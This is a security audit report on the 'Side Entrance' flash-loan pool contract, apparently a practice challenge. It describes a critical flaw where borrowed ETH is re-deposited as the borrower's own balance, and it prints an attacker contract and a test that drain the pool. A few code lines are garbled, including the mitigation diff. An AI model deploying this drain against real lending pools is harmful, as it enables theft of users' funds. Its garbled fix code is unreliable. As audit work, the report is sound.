Side Entrance Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `Side Entrance`

Date: August 03, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe but holds no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	Critical	High	Medium	Low
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `SideEntranceLenderPool.sol`

4 Protocol Summary

`SideEntranceLenderPool` protocol is offering flash loans. In this case, pool has launched offering flash loans of ETHs for free. The pool holds 1000 ETHs . Pool allow anyone to deposit ETHs, and withdraw it at any point of time.

4.1 Roles

- **SideEntranceLenderPool** Provides flash loans of ETHs

5 Executive Summary

The Side Entrance smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count
Critical	1
Total	**1**

6 Findings

6.1 Critical Severity

6.1.1 [C-1] Side Entrance Vulnerability in `SideEntranceLenderPool`

- **Description:** The `SideEntranceLenderPool` protocol provides flash loans to anyone. A malicious actor calls the `flashLoan` function and takes out the flash loan to its target `Attack` contract. Before repaying the protocol, it updates the protocol balance to the same as before but deposits this balance for itself, making the protocol behave as if no flash loan was granted. This attack is only possible due to the external call via `IFlashLoanEtherReceiver(msg.sender).executevalue: amount();`.

```
function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

@>  IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
```

- **Impact:** A malicious actor takes advantage of the external call to take the flash loan and deposit into the same pool for themselves. This balances the pool ETHs before the `flashLoan` function execution completes.

  Attacker Contract:

```
import {SideEntranceLenderPool} from SideEntranceLenderPool.sol";

contract Attack {
    SideEntranceLenderPool pool;

    constructor(SideEntranceLenderPool _pool) {
        pool = _pool;
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}
```

- **Cause:** A malicious user takes advantage of the external call and takes flash loan, under the hood, deposit again to the pool and later on withdraw all ETHs from pool.

- **Recommended Mitigation:** Track outstanding loans separately from deposited ETHs. Maintain a mapping for active loans:

```
+ mapping(address => uint256) public outstandingLoans;
```

Require borrowers to repay loans explicitly rather than allowing deposits to count as repayment:

```
+ function repayLoan() external payable {
    outstandingLoans[msg.sender] -= msg.value;
    }
```

```
function flashLoan(uint256 amount) external {
+     outstandingLoans[msg.sender] += amount;
      IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

-     if (address(this).balance < balanceBefore) revert RepayFailed
    ();
+     require(outstandingLoans[msg.sender] == 0, "Loan not repaid")
    ;
     }
```

- **Proof of Concept:**
  1. The Attacker calls the `flashLoan` function
  2. `SideEntranceLenderPool` lends flash loan
  3. ETHs are sent to the `Attack` contract
  4. The attacker deposits ETHs for themselves
  5. Later withdraws all the ETHs from the pool
  6. Leaves the pool empty

Run the code in `SideEntranceLenderPool.t.sol`:

```
function testAttack() public {
        vm.startPrank(address(attack));

        console2.log("Pool ETHs ", address(pool).balance);
        console2.log("Attacker ETHs ", address(attack).balance);

        pool.flashLoan(address(pool).balance);

        pool.withdraw();

        assertEq(address(pool).balance, 0);
        assertEq(address(attack).balance, 1e24);

        console2.log("Pool ETHs ", address(pool).balance);
        console2.log("Attacker ETHs ", address(attack).balance);
        vm.stopPrank();
    }
```